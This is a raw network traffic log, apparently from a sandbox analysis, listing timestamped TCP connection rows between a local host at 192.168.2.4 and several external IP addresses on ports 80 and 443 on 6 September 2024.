Sep 6, 2024 08:17:06.166038036 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166049004 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166055918 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.166055918 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.166059971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166065931 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.166071892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166112900 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.166112900 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.166151047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166162968 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166172981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166184902 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166194916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166205883 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166215897 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166225910 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166230917 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.166230917 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.166230917 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.166239977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.166261911 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.166275024 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.181231976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.181252003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.181263924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.181281090 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.181282997 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.181303978 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.181334019 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.181380987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.181392908 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.181404114 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.181413889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.181422949 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.181457043 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.188894987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.188915014 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.188924074 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.188946962 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.188961983 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.188980103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.188992023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189002037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189013004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189021111 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.189040899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189043045 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.189052105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189062119 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189073086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189078093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.189083099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189109087 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.189141989 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.189167976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189177990 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189188957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189198971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189205885 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.189233065 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.189237118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189245939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189255953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189266920 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189276934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.189321041 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.189344883 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.190036058 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:06.190074921 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:06.190274000 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:06.190515041 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:06.190527916 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:06.191330910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191340923 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191350937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191374063 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191395998 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191399097 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191407919 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191425085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191426992 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191436052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191447020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191466093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191473007 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191484928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191498995 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191524982 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191555977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191566944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191576958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191593885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191595078 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191607952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191616058 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191618919 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191628933 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191641092 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191643953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191653013 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191663980 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191674948 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191684961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191693068 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191711903 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191736937 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191757917 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191770077 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191781044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191792011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191793919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191812038 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191822052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191833019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191840887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191843033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191868067 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191869020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191879988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191890955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191898108 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191915989 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191945076 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.191956997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191967964 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.191979885 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192003012 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192028999 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192032099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192044020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192054033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192065001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192075968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192080021 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192090988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192101955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192107916 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192128897 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192142010 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192188978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192199945 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192209959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192222118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192235947 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192270041 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192296028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192308903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192318916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192329884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192341089 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192342043 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192373991 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192392111 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192394972 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192401886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192413092 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192420959 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192440033 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192440987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192451000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192461967 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192464113 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192472935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192492008 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192511082 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192511082 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192522049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192548990 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192583084 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192589998 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192600965 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192611933 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192621946 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192624092 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192646980 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192666054 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192692041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192703962 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192713976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192734003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192759991 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192761898 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192773104 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192787886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192799091 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192800045 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192809105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192817926 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192852974 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192878962 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192889929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192899942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192920923 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192945004 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.192970037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192981005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.192996979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193006992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193013906 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.193018913 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193033934 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.193056107 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.193101883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193118095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193129063 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193140030 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.193140984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193152905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193162918 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193172932 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.193172932 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193183899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193201065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193202972 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.193223953 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.193239927 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.193245888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193258047 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.193294048 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.198857069 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.198873997 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.198903084 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.198918104 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.198918104 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.198967934 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199031115 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199040890 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199053049 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199063063 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199068069 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199079990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199090958 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199096918 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199101925 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199114084 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199124098 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199131012 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199136019 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199141979 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199153900 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199162006 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199162960 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199188948 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199202061 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199476957 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199487925 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199503899 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199515104 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199527979 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199531078 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199542046 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199553013 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199553967 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199562073 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199585915 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199606895 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199641943 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199655056 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199666023 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199676991 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199677944 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199690104 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199697971 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199722052 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199728012 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199733973 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199743986 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199754953 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199780941 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199780941 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199780941 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199791908 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199801922 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199815035 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199825048 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199826002 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199851036 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199877977 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.199882030 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.199954033 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200162888 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200229883 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200253010 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200262070 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200270891 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200288057 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200298071 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200300932 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200316906 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200323105 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200330019 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200339079 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200341940 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200371027 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200444937 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200500965 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200510025 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200517893 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200529099 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200541973 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200546026 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200557947 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200561047 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200567961 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200577974 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200592041 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200606108 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200634956 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.200968981 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200979948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.200990915 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201021910 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201023102 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201034069 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201045036 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201045036 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201056004 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201097965 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201122999 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201236010 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201246977 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201258898 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201284885 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201312065 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201312065 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201323032 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201334000 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201345921 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201358080 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201359034 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201369047 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201385975 CEST	80	49739	31.41.244.9	192.168.2.4
